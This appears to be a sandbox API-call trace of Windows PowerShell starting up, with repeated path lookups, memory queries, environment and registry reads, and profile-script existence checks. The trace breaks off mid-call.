GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.016] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.017] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.017] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.017] CoTaskMemFree (pv=0x168700) [0056.021] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.029] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.029] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.029] CoTaskMemFree (pv=0x168700) [0056.030] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.030] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.030] CoTaskMemFree (pv=0x168700) [0056.033] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.033] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.033] CoTaskMemFree (pv=0x168700) [0056.039] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.039] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.039] CoTaskMemFree (pv=0x168700) [0056.044] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.044] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.044] CoTaskMemFree (pv=0x168700) [0056.045] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.045] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.045] CoTaskMemFree (pv=0x168700) [0056.049] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.050] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.109] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.112] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0056.112] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.112] CoTaskMemFree (pv=0x168700) [0056.370] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x168b40 [0056.371] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x168c50 [0056.470] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.507] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.510] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.510] VirtualQuery (in: lpAddress=0x22a480, lpBuffer=0x22b340, dwLength=0x30 | out: lpBuffer=0x22b340*(BaseAddress=0x22a000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.529] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.529] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.529] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.529] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.529] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.529] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.530] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] VirtualQuery (in: lpAddress=0x22ba30, lpBuffer=0x22c8f0, dwLength=0x30 | out: lpBuffer=0x22c8f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.531] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.531] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.532] CoTaskMemFree (pv=0x168d60) [0056.533] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.534] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.534] CoTaskMemFree (pv=0x168d60) [0056.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.570] VirtualQuery (in: lpAddress=0x22bce0, lpBuffer=0x22cba0, dwLength=0x30 | out: lpBuffer=0x22cba0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.575] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.575] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.576] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.576] VirtualQuery (in: lpAddress=0x22bce0, lpBuffer=0x22cba0, dwLength=0x30 | out: lpBuffer=0x22cba0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.577] VirtualQuery (in: lpAddress=0x22b530, lpBuffer=0x22c3f0, dwLength=0x30 | out: lpBuffer=0x22c3f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.577] VirtualQuery (in: lpAddress=0x22b530, lpBuffer=0x22c3f0, dwLength=0x30 | out: lpBuffer=0x22c3f0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.579] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22db38 | out: phkResult=0x22db38*=0x3bc) returned 0x0 [0056.580] RegQueryValueExW (in: hKey=0x3bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22dabc, lpData=0x0, lpcbData=0x22dab8*=0x0 | out: lpType=0x22dabc*=0x1, lpData=0x0, lpcbData=0x22dab8*=0x56) returned 0x0 [0056.580] CoTaskMemAlloc (cb=0x5a) returned 0x1b7a2700 [0056.580] RegQueryValueExW (in: hKey=0x3bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22da8c, lpData=0x1b7a2700, lpcbData=0x22da88*=0x56 | out: lpType=0x22da8c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22da88*=0x56) returned 0x0 [0056.580] CoTaskMemFree (pv=0x1b7a2700) [0056.580] RegCloseKey (hKey=0x3bc) returned 0x0 [0056.580] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22db38 | out: phkResult=0x22db38*=0x3bc) returned 0x0 [0056.580] RegQueryValueExW (in: hKey=0x3bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22dabc, lpData=0x0, lpcbData=0x22dab8*=0x0 | out: lpType=0x22dabc*=0x1, lpData=0x0, lpcbData=0x22dab8*=0x56) returned 0x0 [0056.580] CoTaskMemAlloc (cb=0x5a) returned 0x1b7a2700 [0056.580] RegQueryValueExW (in: hKey=0x3bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22da8c, lpData=0x1b7a2700, lpcbData=0x22da88*=0x56 | out: lpType=0x22da8c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22da88*=0x56) returned 0x0 [0056.580] CoTaskMemFree (pv=0x1b7a2700) [0056.580] RegCloseKey (hKey=0x3bc) returned 0x0 [0056.581] CoTaskMemAlloc (cb=0x20c) returned 0x1b777d00 [0056.581] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b777d00 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0056.581] CoTaskMemFree (pv=0x1b777d00) [0056.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x22d6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0056.583] CoTaskMemAlloc (cb=0x20c) returned 0x1b777d00 [0056.583] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b777d00 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0056.583] CoTaskMemFree (pv=0x1b777d00) [0056.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x22d6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0056.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x22d890, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0056.586] SetErrorMode (uMode=0x1) returned 0x1 [0056.586] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x22daa0 | out: lpFileInformation=0x22daa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0056.586] SetErrorMode (uMode=0x1) returned 0x1 [0056.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x22d890, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0056.587] SetErrorMode (uMode=0x1) returned 0x1 [0056.587] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, 